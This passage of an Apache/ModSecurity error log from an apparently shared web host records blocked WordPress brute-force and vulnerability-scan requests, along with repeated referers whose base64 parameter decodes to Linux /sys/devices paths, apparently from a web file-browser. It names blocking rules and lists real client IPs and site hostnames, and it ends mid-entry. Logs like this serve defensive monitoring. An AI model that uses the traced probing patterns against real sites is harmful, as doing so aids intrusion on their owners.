/home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:22:23.673811 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:22:23.692127 2026] [security2:error] [pid 715691:tid 715781] [remote 62.84.186.183:55294] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.186.84.62.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "sunshinemanage.com"] [uri "/wp-login.php"] [unique_id "ai30P7V-dFiaX9AtWiQaNwABJEY"], referer: https://sunshinemanage.com/wp-login.php [Sat Jun 13 18:22:23.714252 2026] [security2:error] [pid 715691:tid 715773] [remote 17.241.219.210:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 210.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30P7V-dFiaX9AtWiQaOQABCj4"] [Sat Jun 13 18:22:23.878868 2026] [access_compat:error] [pid 715691:tid 715753] [remote 57.141.14.92:40808] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:23.879319 2026] [access_compat:error] [pid 715691:tid 715753] [remote 57.141.14.92:40808] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:23.902259 2026] [proxy:error] [pid 646876:tid 647111] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.902323 2026] [proxy_http:error] [pid 646876:tid 647111] [client 185.247.137.225:38589] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.903394 2026] [proxy:error] [pid 646876:tid 647111] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.903446 2026] [proxy_http:error] [pid 646876:tid 647111] [client 185.247.137.225:38589] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.998223 2026] [security2:error] [pid 646876:tid 647030] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/tests/lang/bug25547.phpt"] [unique_id "ai30P9yTkdrNlD40tSHNWgAAABY"] [Sat Jun 13 18:22:24.187332 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0NS9wb3dlcg== [Sat Jun 13 18:22:24.187823 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0NS9wb3dlcg== [Sat Jun 13 18:22:24.248170 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.14:36384] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:24.248434 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.14:36384] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:24.251985 2026] [security2:error] [pid 715691:tid 715752] [remote 17.22.245.166:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 166.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30QLV-dFiaX9AtWiQaPwABKio"] [Sat Jun 13 18:22:24.309043 2026] [security2:error] [pid 715691:tid 715746] [remote 17.241.219.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30QLV-dFiaX9AtWiQaQgABTiQ"] [Sat Jun 13 18:22:24.515723 2026] [access_compat:error] [pid 715691:tid 715758] [remote 57.141.14.49:56729] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:24.516121 2026] [access_compat:error] [pid 715691:tid 715758] [remote 57.141.14.49:56729] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:24.604609 2026] [access_compat:error] [pid 715691:tid 715772] [remote 57.141.14.14:36394] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:24.604944 2026] [access_compat:error] [pid 715691:tid 715772] [remote 57.141.14.14:36394] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:24.704167 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:24.704505 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:24.820311 2026] [access_compat:error] [pid 646876:tid 646881] [remote 57.141.14.99:39878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:24.820584 2026] [access_compat:error] [pid 646876:tid 646881] [remote 57.141.14.99:39878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:24.900598 2026] [proxy:error] [pid 715691:tid 715963] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:24.900712 2026] [proxy_http:error] [pid 715691:tid 715963] [client 208.84.100.145:37750] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:24.901978 2026] [proxy:error] [pid 715691:tid 715963] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:24.902026 2026] [proxy_http:error] [pid 715691:tid 715963] [client 208.84.100.145:37750] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:24.982525 2026] [security2:error] [pid 715691:tid 715805] [remote 148.72.126.143:54774] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 143.126.72.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.infraas.digital"] [uri "/xmlrpc.php"] [unique_id "ai30QLV-dFiaX9AtWiQaVgABXV4"] [Sat Jun 13 18:22:24.982887 2026] [security2:error] [pid 715691:tid 715805] [remote 148.72.126.143:54774] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.infraas.digital"] [uri "/xmlrpc.php"] [unique_id "ai30QLV-dFiaX9AtWiQaVgABXV4"] [Sat Jun 13 18:22:25.031294 2026] [access_compat:error] [pid 715691:tid 715771] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:25.031756 2026] [access_compat:error] [pid 715691:tid 715771] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:25.130169 2026] [access_compat:error] [pid 715691:tid 715748] [remote 57.141.14.39:39124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:25.130570 2026] [access_compat:error] [pid 715691:tid 715748] [remote 57.141.14.39:39124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:25.237033 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:22:25.237479 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:22:25.398292 2026] [security2:error] [pid 646876:tid 646943] [remote 17.246.23.176:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30QdyTkdrNlD40tSHNegAAX0A"] [Sat Jun 13 18:22:25.476764 2026] [security2:error] [pid 715691:tid 715768] [remote 164.138.220.142:44236] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 142.220.138.164.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.inplace-design.com"] [uri "/wp-login.php"] [unique_id "ai30QbV-dFiaX9AtWiQaZQABZzk"] [Sat Jun 13 18:22:25.770777 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:22:25.771057 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:22:25.970770 2026] [access_compat:error] [pid 715691:tid 715817] [remote 57.141.14.3:24626] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:25.971220 2026] [access_compat:error] [pid 715691:tid 715817] [remote 57.141.14.3:24626] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:26.047283 2026] [security2:error] [pid 715691:tid 715942] [client 47.79.200.13:55186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.200.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.loohan.com"] [uri "/viewtopic.php"] [unique_id "ai30QrV-dFiaX9AtWiQaegAAAW8"], referer: https://www.google.com/ [Sat Jun 13 18:22:26.103144 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.74:24456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:26.103416 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.74:24456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:26.271615 2026] [lsapi:warn] [pid 715691:tid 715900] [client 168.181.86.160:40025] [host kshar.net] Backend log: PHP Warning: Use of undefined constant user_level - assumed 'user_level' (this will throw an Error in a future version of PHP) in /home2/yourkat1/public_html/kshar/wp-content/plugins/ultimate-google-analytics/ultimate_ga.php on line 524\n [Sat Jun 13 18:22:26.293152 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:26.293433 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:26.440819 2026] [security2:error] [pid 715691:tid 715785] [remote 210.211.99.176:56966] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "costechacademy.com"] [uri "/wp-login.php"] [unique_id "ai30QrV-dFiaX9AtWiQahwABKko"] [Sat Jun 13 18:22:26.443313 2026] [access_compat:error] [pid 715691:tid 715824] [remote 57.141.14.44:45423] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:26.443591 2026] [access_compat:error] [pid 715691:tid 715824] [remote 57.141.14.44:45423] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:26.492255 2026] [security2:error] [pid 646876:tid 646937] [remote 17.22.253.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30QtyTkdrNlD40tSHNiAAAWzo"] [Sat Jun 13 18:22:26.775342 2026] [access_compat:error] [pid 646876:tid 646923] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MS9wb3dlcg== [Sat Jun 13 18:22:26.775804 2026] [access_compat:error] [pid 646876:tid 646923] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MS9wb3dlcg== [Sat Jun 13 18:22:26.793136 2026] [security2:error] [pid 646876:tid 646911] [remote 86.23.134.229:0] ModSecurity: Warning. Pattern match 